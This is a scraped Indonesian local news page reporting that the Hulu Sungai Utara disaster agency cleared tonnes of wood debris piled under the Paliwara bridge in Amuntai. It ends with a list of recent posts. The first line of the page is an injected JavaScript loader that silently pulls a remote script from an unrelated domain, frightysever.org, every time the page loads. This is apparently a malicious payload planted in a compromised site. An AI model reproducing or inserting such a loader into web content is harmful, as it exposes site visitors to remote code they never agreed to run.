(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sampah Kayu Numpuk di Jembatan Paliwara, BPBD HSU Terjunkan TRC


AMUNTAI, Berton-ton sampah kayu menumpuk di jembatan Paliwara aliran Sungai Nagara, kota Amuntai. Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Hulu Sungai Utara (HSU) melakukan pembersihan secara manual.

Sampah yang diperkirakan berton-ton tersebut sebagian besar merupakan tumpukan bambu dan batang pohon kayu mati yang hanyut dari hulu sungai, dimana semakin hari semakin menumpuk apabila dibiarkan lebih lama lagi.

Tidak kurang 15 personel anggota Tim Reaksi Cepat (TRC) BPBD HSU diturunkan untuk mengatasi tumpukan sampah kayu tersebut, mulai dari pemotongan batang-batang pohon menggunakan gergaji secara manual sampai menggunakan tali tambang.

Hal ini juga dilakukan sebagai bentuk mengurangi resiko bencana di tengah musim hujan, dikhawatirkan tumpukan sampah tersebut akan membuat banjir semakin parah.

Kepala BPBD HSU Sugeng Riyadi saat ditemui di lokasi pembersihan, Selasa (22/1), mengungkapkan, pembersihan tumpukan kayu di sungai bawah jembatan Paliwara dilakukan lantaran menanggapi laporan warga, TRC BPBD HSU dengan sigap membersihkan tumpukan sampah.




“Sampah yang tertumpuk di tempat kita ini adalah kiriman dari hulu, baik dari Sungai Tabalong maupun Sungai Balangan, curah hujan tinggi sampah kayu terbawa arus sampai ke daerah HSU,” ungkap Sugeng.

Ia menambahkan, pembersihan juga dilakukan untuk mengantisipasi terjadinya banjir di HSU, karena tumpukan sampah dapat menghambat arus air yang mengalir di wilayah Kabupaten HSU. Seandainya dibiarkan dikhawatirkan nantinya tumpukan sampah kayu ini akan bertambah besar, sehingga dapat mengganggu konstruksi dari jembatan dan jalan yang ada di pinggiran aliran sungai.

Sugeng mengimbau kepada seluruh masyarakat agar tidak membuang sampah ke sungai, karena sampah yang dibuang sembarang ke sungai justru akan membuat aliran air di sungai menjadi tersumbat. Air yang seharusnya bisa mengalir dengan lancar menjadi tersumbat sehingga menyebabkan bencana banjir.

“Selama musim hujan tolong diperhatikan sampah di selokan, apalagi warga yang berdekatan dengan aliran sungai, salah satu penyebab terjadinya banjir itu karena tidak lancarnya aliran sungai yang dipenuhi sampah,” pungkasnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

1 menit ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

20 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

23 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

This website uses cookies.